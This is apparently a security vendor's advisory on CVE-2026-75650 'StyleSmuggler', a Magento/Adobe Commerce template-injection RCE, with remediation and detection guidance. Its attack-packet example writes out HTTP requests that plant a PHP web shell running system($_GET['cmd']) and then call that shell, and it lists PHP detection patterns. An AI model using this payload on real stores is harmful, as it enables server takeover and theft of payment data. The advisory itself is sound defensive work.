CVE-2026-75650, dubbed "StyleSmuggler," is a maximum-severity (CVSS 10.0) unauthenticated Remote Code Execution vulnerability in Adobe Commerce, Adobe Commerce B2B, and Magento Open Source. An attacker injects malicious PHP code through the template engine’s `styles` property—which bypasses all built-in security validation—causing it to be written to disk and later executed when Magento’s dependency-injection scanner processes a “Payment Transaction Failed” email template. No authentication, no user interaction, and no email delivery are required for code execution. Active exploitation was confirmed in the wild on September 4, 2026, three days before Adobe released the emergency hotfix (APSB26-146), making this a true zero-day.
Observed post-exploitation activities include the deployment of a Rust-based Linux backdoor disguised as a system process and PHP web shells. The vulnerability has been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog, and the MONITORAPP TA team has confirmed that AIWAAP can detect the malicious template injection payload in HTTP traffic.
Tags: CVE-2026-75650, StyleSmuggler, Adobe Commerce, Magento, Template Injection, CWE-1336, RCE, Zero-Day, CVSS 10.0, CISA KEV, Rust Backdoor, Web Shell, T1190, September 2026, Actively Exploited
---
1. Overview
Adobe Commerce (formerly Magento Commerce) and Magento Open Source are the most widely used open-source-based e-commerce platforms in the global e-commerce market, with hundreds of thousands of online stores operating on these platforms. Due to their nature of processing large volumes of sensitive information—such as payment details, customer personal information, and order data—they have long been prime targets for attackers.
CVE-2026-75650 is a template engine injection vulnerability (Template Engine Injection, CWE-1336), which allows an unauthenticated remote attacker to inject and execute PHP code on the server. Successful attacks have been confirmed to result in the installation of a Rust-based Linux backdoor and a PHP webshell, and the vulnerability has been assigned the highest severity rating of 10.0 on the CVSS 10.0 scale. A zero-day attack was first identified on September 4, 2026, and Adobe released an emergency hotfix on September 7.
---
2. Attack Type
CVE-2026-75650 (StyleSmuggler) Attack Flow
① Attacker — Unauthenticated HTTP request / Manipulated styles parameter
→ ② Template Engine — Bypasses styles attribute validation / Writes malicious PHP to disk
→ ③ Email Trigger — Renders "Payment Failed" email / Runs DI code scanner
→ ④ RCE Achieved — PHP code executes on server (runs even if email delivery fails)
→ ⑤ Backdoor Installed — Rust backdoor / PHP web shell / Persistent remote access secured
MITRE ATT&CK mapping: T1190 (Exploit Public-Facing App) → CWE-1336 (Template Engine Injection) → T1059.004 (Unix Shell / PHP Execution) → T1505.003 (Web Shell) → T1071 / T1543 (C2 Communication / Persistence)
Post-Exploitation Scenarios — Observed in the Wild
- Rust-based Linux Backdoor: Disguised as a system process / Communicates with C2 via NTP traffic / Remains active even after patching
- PHP Web Shell Deployment: Hidden within the store's web root / Enables arbitrary PHP command execution / Used to steal database and payment information
- Customer Data Breach: Credit card skimming / Full takeover of the e-commerce site / Lateral movement within the internal network
⚠ Zero-day exploitation confirmed on September 4 → Patch released September 7 — numerous stores were already breached before the fix — Added to CISA KEV
The core vulnerability in CVE-2026-75650 lies in the fact that the Magento template engine does not perform security validation on the values of the `styles` attribute, which it treats as layout data. If an attacker inserts malicious PHP code into a payload disguised as the `styles` attribute via an HTTP request, Magento treats it as harmless style data, passes it through its internal validation procedures, and then writes the content to log or report files on disk.
The malicious PHP code written to the file is executed when Magento’s Dependency Injection (DI) code scanner renders the “Payment Transaction Failed Reminder” email template. This execution occurs regardless of whether the email is actually sent successfully; since the PHP code runs during the template rendering phase, the attack is viable even in environments where email transmission is blocked.
After achieving RCE, two types of follow-up payloads were observed in actual attacks. The first is a Linux backdoor written in Rust, which disguises itself as a legitimate system process and communicates with the C2 server via NTP (time synchronization) traffic to evade detection. The second is a PHP webshell, hidden in the store’s web root directory, which is used to execute arbitrary PHP commands, access databases, and skim credit card information. In both cases, persistent compromise is possible unless the installed backdoor is removed even after the patch is applied.
This vulnerability is a zero-day exploit for which actual attacks were confirmed as early as September 4—before the patch was released on September 7—leaving numerous online stores vulnerable for several days. Adobe distributed the patch as an emergency hotfix outside of its regular update cycle, and CISA immediately added it to the KEV list and recommended the emergency patch.
Example of an attack packet
POST /admin/newsletter/template/save HTTP/1.1
Host: victim-store.com
Content-Type: application/x-www-form-urlencoded
Cookie: adminhtml=<valid_or_guest_session>
template_code=exploit_test
&template_type=2
&template_subject=test
&template_styles={{payment_failed_reminder}}%0a<?php+system($_GET['cmd']);+?>
&template_text=test
<-- Magento writes the styles attribute value to disk without validation -->
# Subsequently trigger email rendering (executes even if delivery fails)
GET /admin/system/config/save?section=payment HTTP/1.1
Host: victim-store.com
<-- DI code scanner processes the written file → PHP executes -->
<-- Result: Rust backdoor / PHP web shell dropped on the server -->
# Confirming web shell access
GET /pub/media/.hidden_shell.php?cmd=id HTTP/1.1
Host: victim-store.com
HTTP/1.1 200 OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
3. Response
Immediate patching and post-patch verification
You must immediately apply the emergency hotfix released by Adobe on September 7, 2026 (Composer package VULN-39341, Security Advisory APSB26-146). However, in environments where a breach already occurred during the zero-day period, patching alone is insufficient for recovery; therefore, you must also check for abnormal PHP files in the web root, review the list of system processes (to detect Rust backdoors disguised as legitimate processes), and analyze NTP traffic for anomalies.
AIWAAP Response
Since this vulnerability allows PHP code to be injected via the “styles” parameter in an HTTP POST request, attack traffic can be detected and blocked using AIWAAP’s template injection and server-side template injection (SSTI) detection patterns. We recommend applying blocking policies to abnormal POST requests to the Magento admin endpoint (/admin/) and to parameter values containing PHP code patterns (such as <?php, system(), exec(), etc.).
---
4. Conclusion
CVE-2026-75650 (StyleSmuggler) is a zero-day unauthenticated remote code execution vulnerability with a CVSS 10.0 score. Since actual attacks have already been confirmed prior to the release of a patch, an urgent response is required. In particular, given the nature of e-commerce platforms, this vulnerability can directly lead to the leakage of customer payment information and personal data, and the sophisticated evasion techniques used by the Rust backdoor make recovery after a breach even more difficult. It is essential to immediately apply Adobe’s emergency hotfix and conduct a post-incident audit based on Indicators of Compromise (IoC). The MONITORAPP TA Team is continuously monitoring attack trends related to this vulnerability and plans to support the blocking of attack traffic through AIWAAP SSTI detection patterns.
---
5. References
- NVD — CVE-2026-75650 Details
- Sansec — StyleSmuggler: Magento and Adobe Commerce 0-day RCE under active attack
- Tenable — StyleSmuggler CVE-2026-75650 FAQ
- SOC Prime — CVE-2026-75650: Critical Magento Zero-Day RCE
- Rescana — Active Exploitation Alert: StyleSmuggler Added to CISA KEV
- Imperva — Imperva Customers Protected Against StyleSmuggler
- MITRE ATT&CK — T1190: Exploit Public-Facing Application
